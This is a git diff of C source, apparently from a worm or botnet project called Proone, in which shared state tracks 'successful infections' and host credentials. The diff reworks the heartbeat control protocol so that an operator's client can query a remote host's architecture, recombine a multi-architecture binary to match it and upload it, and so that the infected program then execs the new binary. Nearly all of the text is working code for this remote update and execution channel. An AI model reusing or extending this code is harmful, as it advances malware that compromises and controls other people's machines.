+ case SC_UPBIN: mh.op = PRNE_HTBT_OP_UP_BIN; break;
default: abort();
}
@@ -1494,11 +1658,10 @@ static bool run_setup (const uint16_t msgid) {
fs.st_size = 0;
break;
case SC_RUNBIN:
- case SC_NYBIN:
- bin_fd = open(prog_conf.cmd_param.run.bin_path, O_RDONLY);
- if (bin_fd < 0 || fstat(bin_fd, &fs) != 0) {
+ case SC_UPBIN:
+ if (fstat(prog_g.cmd_st.run.fd, &fs) != 0) {
ret = false;
- perror(prog_conf.cmd_param.run.bin_path);
+ perror("fstat()");
goto END;
}
if (fs.st_size > PRNE_HTBT_BIN_LEN_MAX) {
@@ -1522,7 +1685,7 @@ static bool run_setup (const uint16_t msgid) {
while (fs.st_size > 0 || prog_g.cmd_st.run.ib.len > 0) {
if (fs.st_size > 0 && prog_g.cmd_st.run.ib.avail > 0) {
io_ret = read(
- bin_fd,
+ prog_g.cmd_st.run.fd,
prog_g.cmd_st.run.ib.m + prog_g.cmd_st.run.ib.len,
prne_op_min((size_t)fs.st_size, prog_g.cmd_st.run.ib.avail));
if (io_ret == 0) {
@@ -1561,7 +1724,6 @@ static bool run_setup (const uint16_t msgid) {
}
END:
- prne_close(bin_fd);
prne_htbt_free_msg_head(&mh);
return ret;
}
@@ -1765,6 +1927,16 @@ static bool run_recv_status (const uint16_t msgid) {
return prog_g.cmd_st.run.has_status;
}
+static bool do_open_bin (void) {
+ prne_assert(prog_g.cmd_st.run.fd < 0);
+ prog_g.cmd_st.run.fd = open(prog_conf.cmd_param.run.bin_path, O_RDONLY);
+ if (prog_g.cmd_st.run.fd < 0) {
+ perror(prog_conf.cmd_param.run.bin_path);
+ return false;
+ }
+ return true;
+}
+
static int cmdmain_run (void) {
uint16_t msgid;
@@ -1774,6 +1946,9 @@ static int cmdmain_run (void) {
if (!do_connect()) {
break;
}
+ if (prog_conf.cmd == SC_RUNBIN && !do_open_bin()) {
+ break;
+ }
if (!run_setup(msgid)) {
break;
}
@@ -1804,10 +1979,22 @@ static int cmdmain_run (void) {
return 1;
}
-static void emit_nybin_opts (void) {
+static void emit_upbin_opts (void) {
emit_scalar(YAML_STR_TAG, PREEMBLE_OPT_TAG_NAME);
emit_mapping_start();
+ emit_scalar(YAML_STR_TAG, "bin_type");
+ if (prog_conf.cmd_param.run.bin_type == BT_NYBIN) {
+ emit_scalar(YAML_STR_TAG, "nybin");
+ emit_scalar(YAML_STR_TAG, "arch_host");
+ emit_scalar(YAML_STR_TAG, prne_arch_tostr(prog_g.cmd_st.run.arch_host));
+ emit_scalar(YAML_STR_TAG, "arch_rcb");
+ emit_scalar(YAML_STR_TAG, prne_arch_tostr(prog_g.cmd_st.run.arch_rcb));
+ }
+ else {
+ emit_scalar(YAML_STR_TAG, "exec");
+ }
+
emit_scalar(YAML_STR_TAG, "bin_size");
emit_scalar_fmt(
YAML_INT_TAG,
@@ -1822,17 +2009,228 @@ static void emit_nybin_opts (void) {
emit_mapping_end();
}
-static int cmdmain_nybin (void) {
+static bool do_mktmpfile (void) {
+ static const char *FMT_STR = "/tmp/proone-htbtclient.%"PRIdMAX;
+ bool ret = false;
+ int f_ret;
+ char *tmpf = NULL;
+ const pid_t pid = getpid();
+
+ f_ret = snprintf(NULL, 0, FMT_STR, (intmax_t)pid);
+ if (f_ret < 0) {
+ perror("snprintf()");
+ goto END;
+ }
+ tmpf = prne_alloc_str((size_t)f_ret);
+ tmpf[0] = 0;
+ snprintf(tmpf, (size_t)f_ret + 1, FMT_STR, (intmax_t)pid);
+
+ prog_g.cmd_st.run.fd = open(tmpf, O_CREAT | O_RDWR | O_TRUNC | O_EXCL);
+ if (prog_g.cmd_st.run.fd < 0) {
+ goto END;
+ }
+ unlink(tmpf);
+ ret = true;
+
+END:
+ prne_free(tmpf);
+ return ret;
+}
+
+static bool upbin_do_rcb (void) {
+ bool ret = false;
+ prne_bin_archive_t ba;
+ prne_bin_rcb_ctx_t rcb;
+ const uint8_t *m_nybin = MAP_FAILED, *m_dv, *m_ba;
+ size_t dv_len, ba_len;
+ struct stat st;
+ int fd = -1, err;
+ prne_pack_rc_t prc;
+ ssize_t io_ret;
+
+ prne_init_bin_archive(&ba);
+ prne_init_bin_rcb_ctx(&rcb);
+
+ fd = open(prog_conf.cmd_param.run.bin_path, O_RDONLY);
+ if (fd < 0 || fstat(fd, &st) < 0) {
+ perror(prog_conf.cmd_param.run.bin_path);
+ goto END;
+ }
+ m_nybin = (const uint8_t*)mmap(
+ NULL,
+ st.st_size,
+ PROT_READ,
+ MAP_PRIVATE,
+ fd,
+ 0);
+ if (m_nybin == MAP_FAILED) {
+ perror("mmap()");
+ goto END;
+ }
+
+ if (!prne_index_nybin(
+ m_nybin,
+ st.st_size,
+ &m_dv,
+ &dv_len,
+ &m_ba,
+ &ba_len))
+ {
+ perror("prne_index_nybin");
+ goto END;
+ }
+ prc = prne_index_bin_archive(m_ba, ba_len, &ba);
+ if (prc != PRNE_PACK_RC_OK) {
+ pprc(prc, "prne_index_bin_archive()", NULL);
+ goto END;
+ }
+ prc = prne_start_bin_rcb_compat(
+ &rcb,
+ prog_g.cmd_st.run.arch_host,
+ PRNE_ARCH_NONE,
+ NULL,
+ 0,
+ 0,
+ m_dv,
+ dv_len,
+ &ba,
+ &prog_g.cmd_st.run.arch_rcb);
+ if (prc != PRNE_PACK_RC_OK) {
+ pprc(prc, "prne_start_bin_rcb()", NULL);
+ goto END;
+ }
+ if (prog_g.cmd_st.run.arch_host != prog_g.cmd_st.run.arch_rcb) {
+ if (!prog_conf.cmd_param.run.compat) {
+ fprintf(
+ stderr,
+ "Compatible arch %s for target %s: not allowed\n",
+ prne_arch_tostr(prog_g.cmd_st.run.arch_rcb),
+ prne_arch_tostr(prog_g.cmd_st.run.arch_host));
+ goto END;
+ }
+ if (prog_conf.prne_vl >= PRNE_VL_WARN) {
+ fprintf(
+ stderr,
+ "Using compatible arch %s for target %s.\n",
+ prne_arch_tostr(prog_g.cmd_st.run.arch_rcb),
+ prne_arch_tostr(prog_g.cmd_st.run.arch_host));
+ }
+ }
+
+ if (!do_mktmpfile()) {
+ goto END;
+ }
+
+ prne_iobuf_reset(&prog_g.cmd_st.run.ib);
+ while (true) {
+ if (prog_g.cmd_st.run.ib.avail > 0 && prc != PRNE_PACK_RC_EOF) {
+ io_ret = prne_bin_rcb_read(
+ &rcb,
+ prog_g.cmd_st.run.ib.m + prog_g.cmd_st.run.ib.len,
+ prog_g.cmd_st.run.ib.avail,
+ &prc,
+ &err);
+ if (io_ret < 0) {
+ pprc(prc, "prne_bin_rcb_read()", &err);
+ goto END;
+ }
+ prne_iobuf_shift(&prog_g.cmd_st.run.ib, io_ret);
+ }
+
+ if (prog_g.cmd_st.run.ib.len > 0) {
+ io_ret = write(
+ prog_g.cmd_st.run.fd,
+ prog_g.cmd_st.run.ib.m,
+ prog_g.cmd_st.run.ib.len);
+ if (io_ret < 0) {
+ perror("write()");
+ goto END;
+ }
+ if (io_ret == 0) {
+ abort();
+ }
+
+ prne_iobuf_shift(&prog_g.cmd_st.run.ib, -io_ret);
+ }
+ else if (prc == PRNE_PACK_RC_EOF) {
+ break;
+ }
+ }
+
+ if (lseek(prog_g.cmd_st.run.fd, 0, SEEK_SET) < 0) {
+ perror("lseek()");
+ goto END;
+ }
+ ret = true;
+
+END:
+ prne_close(fd);
+ prne_free_bin_archive(&ba);
+ prne_free_bin_rcb_ctx(&rcb);
+ if (m_nybin != MAP_FAILED) {
+ munmap((void*)m_nybin, st.st_size);
+ }
+ return ret;
+}
+
+static bool query_arch (void) {
+ bool ret = false, status;
+ prne_htbt_host_info_t hi;
+
+ prne_htbt_init_host_info(&hi);
+
+ if (!do_hostinfo(&hi, &prog_g.cmd_st.run.st, &status)) {
+ goto END;
+ }
+ if (status) {
+ prog_g.cmd_st.run.has_status = true;
+ pstatus(&prog_g.cmd_st.run.st, "Querying hostinfo");
+ goto END;
+ }
+ if (!prne_arch_inrange(hi.arch)) {
+ fprintf(stderr, "Arch out of range: %d\n", hi.arch);
+ goto END;
+ }
+ prog_g.cmd_st.run.arch_host = hi.arch;
+ ret = true;
+
+END:
+ prne_htbt_free_host_info(&hi);
+ return ret;
+}
+
+static int cmdmain_upbin (void) {
uint16_t msgid;
msgid = prne_htbt_gen_msgid(NULL, htbt_msgid_rnd_f);
- if (!(do_connect() && run_setup(msgid) && run_recv_status(msgid))) {
+ if (!do_connect()) {
+ return 1;
+ }
+ switch (prog_conf.cmd_param.run.bin_type) {
+ case BT_NYBIN:
+ if (!query_arch() || !upbin_do_rcb()) {
+ return 1;
+ }
+ break;
+ case BT_EXEC: do_open_bin(); break;
+ default: abort();
+ }
+ if (!do_ayt()) {
+ if (prog_conf.prne_vl >= PRNE_VL_WARN) {
+ fprintf(stderr, "Reconnecting ...\n");
+ }
+ do_disconnect();
+ if (!do_connect()) {
+ return 1;
+ }
+ }
+ if (!(run_setup(msgid) && run_recv_status(msgid))) {
return 1;
}
start_yaml();
- emit_preemble("nybin", "ok", emit_nybin_opts);
+ emit_preemble("upbin", "ok", emit_upbin_opts);
emit_status_frame(&prog_g.cmd_st.run.st);
return 0;
@@ -1920,10 +2318,8 @@ int main (const int argc, char *const *args) {
case SC_HOSTINFO: ec = cmdmain_hostinfo(); break;
case SC_HOVER: ec = cmdmain_hover(); break;
case SC_RUNCMD:
- case SC_RUNBIN:
- ec = cmdmain_run();
- break;
- case SC_NYBIN: ec = cmdmain_nybin(); break;
+ case SC_RUNBIN: ec = cmdmain_run(); break;
+ case SC_UPBIN: ec = cmdmain_upbin(); break;
// TODO
default:
ec = 1;
diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c
index 9134e6e..fdf7c1e 100644
--- a/src/proone-htbthost.c
+++ b/src/proone-htbthost.c
@@ -43,9 +43,9 @@ typedef struct {
static htbthost_param_t htbthost_param;
static regex_t re_ns4, re_ns6, re_hc;
-static char m_nybin_path[256];
-static char m_nybin_args[1024];
-static size_t m_nybin_args_size;
+static char m_upbin_path[256];
+static char m_upbin_args[1024];
+static size_t m_upbin_args_size;
static sigset_t ss_all, ss_exit;
static struct timespec proc_start;
static uint8_t instance_id[16];
@@ -114,7 +114,7 @@ static bool cb_hostinfo (void *ctx, prne_htbt_host_info_t *out) {
return true;
}
-static bool cb_ny_bin (
+static bool cb_upbin (
void *ctx,
const char *path,
const prne_htbt_cmd_t *cmd)
@@ -122,16 +122,16 @@ static bool cb_ny_bin (
const size_t path_len = prne_nstrlen(path);
prne_dbgast(path_len > 0);
- if (path_len + 1 > sizeof(m_nybin_path) ||
- cmd->mem_len > sizeof(m_nybin_args))
+ if (path_len + 1 > sizeof(m_upbin_path) ||
+ cmd->mem_len > sizeof(m_upbin_args))
{
errno = ENOMEM;
return false;
}
- memcpy(m_nybin_path, path, path_len + 1);
- memcpy(m_nybin_args, cmd->mem, cmd->mem_len);
- m_nybin_args_size = cmd->mem_len;
+ memcpy(m_upbin_path, path, path_len + 1);
+ memcpy(m_upbin_args, cmd->mem, cmd->mem_len);
+ m_upbin_args_size = cmd->mem_len;
return pth_raise(main_pth, SIGTERM) != 0;
}
@@ -332,18 +332,18 @@ END:
return ret;
}
-static void do_run_ny_bin (void) {
- for (size_t i = 0; i < m_nybin_args_size; i += 1) {
- if (m_nybin_args[i] == 0) {
- m_nybin_args[i] = ' ';
+static void do_run_upbin (void) {
+ for (size_t i = 0; i < m_upbin_args_size; i += 1) {
+ if (m_upbin_args[i] == 0) {
+ m_upbin_args[i] = ' ';
}
}
- m_nybin_args[m_nybin_args_size - 1] = 0;
+ m_upbin_args[m_upbin_args_size - 1] = 0;
printf(
- "ny bin received:\n%s %s\n",
- m_nybin_path,
- m_nybin_args);
+ "upbin received:\n%s %s\n",
+ m_upbin_path,
+ m_upbin_args);
}
@@ -495,7 +495,7 @@ int main (const int argc, const char **args) {
param.cb_f.cnc_txtrec = cb_txtrec;
param.cb_f.hostinfo = cb_hostinfo;
param.cb_f.tmpfile = mktmpfile;
- param.cb_f.ny_bin = cb_ny_bin;
+ param.cb_f.upbin = cb_upbin;
param.blackhole = open("/dev/null", O_WRONLY);
w = wkr_arr + 1;
@@ -542,8 +542,8 @@ int main (const int argc, const char **args) {
regfree(&re_ns6);
prne_free(hostcred);
- if (prne_nstrlen(m_nybin_path) > 0) {
- do_run_ny_bin();
+ if (prne_nstrlen(m_upbin_path) > 0) {
+ do_run_upbin();
return 3;
}
diff --git a/src/proone-test_proto.c b/src/proone-test_proto.c
index e8c0ef8..c3f9934 100644
--- a/src/proone-test_proto.c
+++ b/src/proone-test_proto.c
@@ -2,6 +2,7 @@
#include "util_rt.h"
#include "config.h"
#include "dvault.h"
+#include "pack.h"
#include <string.h>
#include <assert.h>
@@ -17,11 +18,6 @@ static void test_enum (void);
int main (void) {
- // prne_arch_t string functions
- for (prne_arch_t i = PRNE_ARCH_NONE + 1; i < NB_PRNE_ARCH; i += 1) {
- assert(i == prne_arch_fstr(prne_arch_tostr(i)));
- }
-
test_ser();
test_enum();
@@ -545,6 +541,10 @@ static void test_ser (void) {
}
static void test_enum (void) {
+ for (prne_arch_t i = PRNE_ARCH_NONE + 1; i < NB_PRNE_ARCH; i += 1) {
+ assert(i == prne_arch_fstr(prne_arch_tostr(i)));
+ }
+
for (prne_arch_t i = 0; i < NB_PRNE_ARCH; i += 1) {
assert(prne_arch_tostr(i) != NULL);
}
@@ -554,4 +554,7 @@ static void test_enum (void) {
for (prne_htbt_op_t i = 0; i < NB_PRNE_HTBT_OP; i += 1) {
assert(prne_htbt_op_tostr(i) != NULL);
}
+ for (prne_pack_rc_t i = PRNE_PACK_RC_OK; i < NB_PRNE_PACK_RC; i += 1) {
+ assert(prne_pack_rc_tostr(i) != NULL);
+ }
}
diff --git a/src/proone.c b/src/proone.c
index 6eacc33..5fcd706 100644
--- a/src/proone.c
+++ b/src/proone.c
@@ -184,7 +184,7 @@ static char *cb_htbt_tmpfile (void *ctx, size_t req_size, const mode_t mode) {
return ret;
}
-static bool cb_htbt_nybin (
+static bool cb_htbt_upbin (
void *ctx,
const char *path,
const prne_htbt_cmd_t *cmd)
@@ -192,14 +192,15 @@ static bool cb_htbt_nybin (
const size_t strsize = prne_nstrlen(path) + 1;
if (prne_s_g == NULL ||
- strsize > sizeof(prne_s_g->ny_bin_path) ||
- cmd->mem_len > sizeof(prne_s_g->ny_bin_args))
+ strsize > sizeof(prne_s_g->upbin_path) ||
+ cmd->mem_len > sizeof(prne_s_g->upbin_args))
{
errno = ENOMEM;
return false;
}
- memcpy(prne_s_g->ny_bin_path, path, strsize);
- memcpy(prne_s_g->ny_bin_args, cmd->mem, cmd->mem_len);
+ memcpy(prne_s_g->upbin_path, path, strsize);
+ prne_memzero(prne_s_g->upbin_args, sizeof(prne_s_g->upbin_args));
+ memcpy(prne_s_g->upbin_args, cmd->mem, cmd->mem_len);
pth_raise(prne_g.main_pth, SIGTERM);
@@ -224,7 +225,7 @@ static void alloc_htbt (void) {
param.cb_f.cnc_txtrec = cb_htbt_cnc_txtrec;
param.cb_f.hostinfo = cb_htbt_hostinfo;
param.cb_f.tmpfile = cb_htbt_tmpfile;
- param.cb_f.ny_bin = cb_htbt_nybin;
+ param.cb_f.upbin = cb_htbt_upbin;
param.blackhole = prne_g.blackhole[1];
htbt = prne_alloc_htbt(
@@ -1023,7 +1024,7 @@ static bool init_shared_global (void) {
/*
* 1. Try creating shm, which is the most favourable
- * 2. Try creating a file in /tmp, which is memory backed on most env
+ * 2. Try creating a file in /tmp, which is memory backed on most systems
* 3. Try creating a file in current wd
*
* ... just don't use shared memory if all of these fail
@@ -1075,7 +1076,8 @@ static bool init_shared_global (void) {
}
else {
// Session init code goes here
- prne_s_g->ny_bin_path[0] = 0;
+ prne_memzero(prne_s_g->upbin_path, sizeof(prne_s_g->upbin_path));
+ prne_memzero(prne_s_g->upbin_args, sizeof(prne_s_g->upbin_args));
}
END:
@@ -1134,86 +1136,6 @@ static void set_host_credential (const char *str) {
strlen(str));
}
-static char *do_recombination (const uint8_t *m_nybin, const size_t nybin_len) {
- uint8_t buf[4096];
- char *exec = NULL, *ret = NULL;
- const char *path;
- prne_bin_archive_t ba;
- prne_bin_rcb_ctx_t rcb;
- const uint8_t *m_dv, *m_ba;
- size_t dv_len, ba_len;
- prne_pack_rc_t prc;
- int fd = -1;
- ssize_t f_ret;
- size_t path_len;
-
- prne_init_bin_archive(&ba);
- prne_init_bin_rcb_ctx(&rcb);
-
- if (!prne_index_nybin(m_nybin, nybin_len, &m_dv, &dv_len, &m_ba, &ba_len)) {
- goto END;
- }
-
- prc = prne_index_bin_archive(m_ba, ba_len, &ba);
- if (prc != PRNE_PACK_RC_OK) {
- goto END;
- }
- prc = prne_start_bin_rcb(
- &rcb,
- prne_host_arch,
- PRNE_ARCH_NONE,
- NULL,
- 0,
- 0,
- m_dv,
- dv_len,
- &ba);
- if (prc != PRNE_PACK_RC_OK) {
- goto END;
- }
-
- path = prne_dvault_get_cstr(PRNE_DATA_KEY_EXEC_NAME, &path_len);
- exec = prne_alloc_str(path_len);
- if (exec == NULL) {
- goto END;
- }
- strcpy(exec, path);
- prne_dvault_reset();
- fd = open(
- exec,
- O_WRONLY | O_CREAT | O_TRUNC,
- 0700);
- if (fd < 0) {
- goto END;
- }
- chmod(exec, 0700);
-
- do {
- f_ret = prne_bin_rcb_read(&rcb, buf, sizeof(buf), &prc, NULL);
- if (f_ret < 0) {
- goto END;
- }
- if (f_ret > 0 && write(fd, buf, f_ret) != f_ret) {
- goto END;
- }
- } while (prc != PRNE_PACK_RC_EOF);
-
- ret = exec;
- exec = NULL;
-
-END:
- prne_dvault_reset();
- if (exec != NULL && fd > 0) {
- unlink(exec);
- }
- prne_free(exec);
- prne_free_bin_archive(&ba);
- prne_free_bin_rcb_ctx(&rcb);
- prne_close(fd);
-
- return ret;
-}
-
static void do_exec (const char *exec, char **args) {
sigset_t ss, old_ss;
bool has_ss;
@@ -1236,48 +1158,22 @@ static void do_exec (const char *exec, char **args) {
init_shared_global();
}
-static void run_ny_bin (void) {
- const uint8_t *m_nybin = NULL;
- size_t nybin_len = 0;
- off_t ofs;
- int fd = -1;
+static void run_upbin (void) {
char **args = NULL;
char *add_args[1] = { NULL };
+ char *m_args = NULL;
- fd = open(prne_s_g->ny_bin_path, O_RDONLY);
- unlink(prne_s_g->ny_bin_path);
- prne_s_g->ny_bin_path[0] = 0;
- if (fd < 0) {
- goto END;
- }
- ofs = lseek(fd, 0, SEEK_END);
- if (ofs < 0) {
+ // copy data from shared global as it will be unmapped before exec() call.
+ add_args[0] = prne_dup_str(prne_s_g->upbin_path);
+ m_args = prne_malloc(1, sizeof(prne_s_g->upbin_args));
+ if (add_args[0] == NULL || m_args == NULL) {
goto END;
}
- nybin_len = (size_t)ofs;
+ memcpy(m_args, prne_s_g->upbin_args, sizeof(prne_s_g->upbin_args));
- m_nybin = (const uint8_t*)mmap(
- NULL,
- nybin_len,
- PROT_READ,
- MAP_SHARED,
- fd,
- 0);
- close(fd);
- fd = -1;
- if (m_nybin == MAP_FAILED) {
- m_nybin = NULL;
- goto END;
- }
- add_args[0] = do_recombination(m_nybin, nybin_len);
- if (add_args[0] == NULL) {
- goto END;
- }
-
- add_args[0] = add_args[0];
args = prne_htbt_parse_args(
- prne_s_g->ny_bin_args,
- sizeof(prne_s_g->ny_bin_args),
+ m_args,
+ sizeof(prne_s_g->upbin_args),
1,
add_args,
NULL,
@@ -1285,17 +1181,12 @@ static void run_ny_bin (void) {
if (args == NULL) {
goto END;
}
+
do_exec(args[0], args);
END:
- prne_close(fd);
- if (m_nybin != NULL) {
- munmap((void*)m_nybin, nybin_len);
- }
- if (add_args[0] != NULL) {
- unlink(add_args[0]);
- prne_free(add_args[0]);
- }
+ prne_free(add_args[0]);
+ prne_free(m_args);
prne_free(args);
}
@@ -1368,6 +1259,10 @@ static void deinit_bne (void) {
prne_free_bne_param(&bne_param);
}
+static bool has_upbin (void) {
+ return prne_s_g != NULL && strlen(prne_s_g->upbin_path) > 0;
+}
+
int main (const int argc, const char **args) {
static int exit_code;
@@ -1451,7 +1346,6 @@ int main (const int argc, const char **args) {
static int status, caught_signal;
static pid_t f_ret;
static sigset_t ss;
- static bool has_ny_bin;
prne_dbgpf("* Child: %d\n", prne_g.child_pid);
@@ -1477,8 +1371,6 @@ WAIT_LOOP:
}
if (prne_s_g != NULL) {
- has_ny_bin = strlen(prne_s_g->ny_bin_path) > 0;
-
if (!(WIFEXITED(status) && WEXITSTATUS(status) == 0)) {
prne_s_g->crash_cnt += 1;
}
@@ -1490,12 +1382,13 @@ WAIT_LOOP:
prne_g.child_pid,
WEXITSTATUS(status));
if (WEXITSTATUS(status) == 0) {
- if (has_ny_bin) {
+ if (has_upbin()) {
prne_dbgpf(
- "* Detected new bin. "
- "Attempting to exec()\n");
- run_ny_bin();
- // run_ny_bin() returns if fails
+ "* Detected new bin: %s\n"
+ "Attempting to exec()\n",
+ prne_s_g->upbin_path);
+ run_upbin();
+ // run_upbin() returns if fails
}
else {
break;
@@ -1509,9 +1402,9 @@ WAIT_LOOP:
WTERMSIG(status));
}
- if (has_ny_bin) {
- unlink(prne_s_g->ny_bin_path);
- prne_s_g->ny_bin_path[0] = 0;
+ if (has_upbin()) {
+ unlink(prne_s_g->upbin_path);
+ prne_s_g->upbin_path[0] = 0;
}
sleep(1);
diff --git a/src/proone.h b/src/proone.h
index 073996b..5b73185 100644
--- a/src/proone.h
+++ b/src/proone.h
@@ -71,8 +71,8 @@ struct prne_shared_global {
// Number of successful infections.
uint64_t infect_cnt;
// null-terminated path to the new binary image
- char ny_bin_path[256];
- char ny_bin_args[1024];
+ char upbin_path[256];
+ char upbin_args[1024];
size_t host_cred_len;
uint8_t host_cred_data[255];
};
diff --git a/src/protocol.c b/src/protocol.c
index cc1fc0d..143e906 100644
--- a/src/protocol.c
+++ b/src/protocol.c
@@ -120,11 +120,10 @@ const char *prne_htbt_op_tostr (const prne_htbt_op_t x) {
case PRNE_HTBT_OP_HOVER: return "hover";
case PRNE_HTBT_OP_SOLICIT: return "solicit";
case PRNE_HTBT_OP_RUN_CMD: return "runcmd";
- case PRNE_HTBT_OP_NY_BIN: return "nybin";
+ case PRNE_HTBT_OP_UP_BIN: return "upbin";
case PRNE_HTBT_OP_RUN_BIN: return "runbin";
case PRNE_HTBT_OP_STDIO: return "stdio";
- case PRNE_HTBT_OP_GET_BIN: return "getbin";
- case PRNE_HTBT_OP_BIN: return "bin";
+ case PRNE_HTBT_OP_RCB: return "rcb";
}
return NULL;
}
diff --git a/src/protocol.h b/src/protocol.h
index 24f4fa3..4e12396 100644
--- a/src/protocol.h
+++ b/src/protocol.h
@@ -149,7 +149,7 @@ typedef enum {
* char args[args_len]
* uint8_t bin[bin_len]
*/
- PRNE_HTBT_OP_NY_BIN,
+ PRNE_HTBT_OP_UP_BIN,
/* Run Binary Operation
* TODO
*
@@ -171,21 +171,14 @@ typedef enum {
* uint12_t len
*/
PRNE_HTBT_OP_STDIO,
- /* Binary Retrieval Operation
+ /* Binary Recombination Operation
* TODO
*
* uint8_t arch
- * uint8_t rsv
+ * uint1_t compat : allow fallback to compatible arch
+ * uint7_t rsv
*/
- PRNE_HTBT_OP_GET_BIN,
- /* Binary Frame
- * TODO
- *
- * uint1_t fin
- * uint3_t rsv
- * uint12_t len
- */
- PRNE_HTBT_OP_BIN,
+ PRNE_HTBT_OP_RCB,
NB_PRNE_HTBT_OP
} prne_htbt_op_t;
@@ -202,11 +195,7 @@ typedef enum {
* Followed by int32_t which represents the errno set during the operation.
*/
PRNE_HTBT_STATUS_ERRNO,
- /* Operation temporary unavailable. Try again later.
- * When another authority is holding the resource.
- * An int32_t that follows is not used.
- */
- PRNE_HTBT_STATUS_AGAIN,
+ PRNE_HTBT_STATUS_SUB,
PRNE_HTBT_STATUS_TIMEDOUT,
PRNE_HTBT_STATUS_LIMIT,
@@ -307,8 +296,8 @@ typedef prne_htbt_ser_rc_t(*prne_htbt_dser_ft)(
/* PRNE_HTBT_PROTO_MIN_BUF
*
-* Minimum size of buffer required to implement parsing of stream. Set to size
-* required to deserialise PRNE_HTBT_OP_NY_BIN and PRNE_HTBT_OP_RUN_BIN.
+* Minimum size of buffer required to implement parsing of stream. This is the
+* size required to deserialise PRNE_HTBT_OP_UP_BIN and PRNE_HTBT_OP_RUN_BIN.
*/
#define PRNE_HTBT_PROTO_MIN_BUF ((size_t)3 + 5 + PRNE_HTBT_ARG_MEM_MAX)
/* PRNE_HTBT_PROTO_SUB_MIN_BUF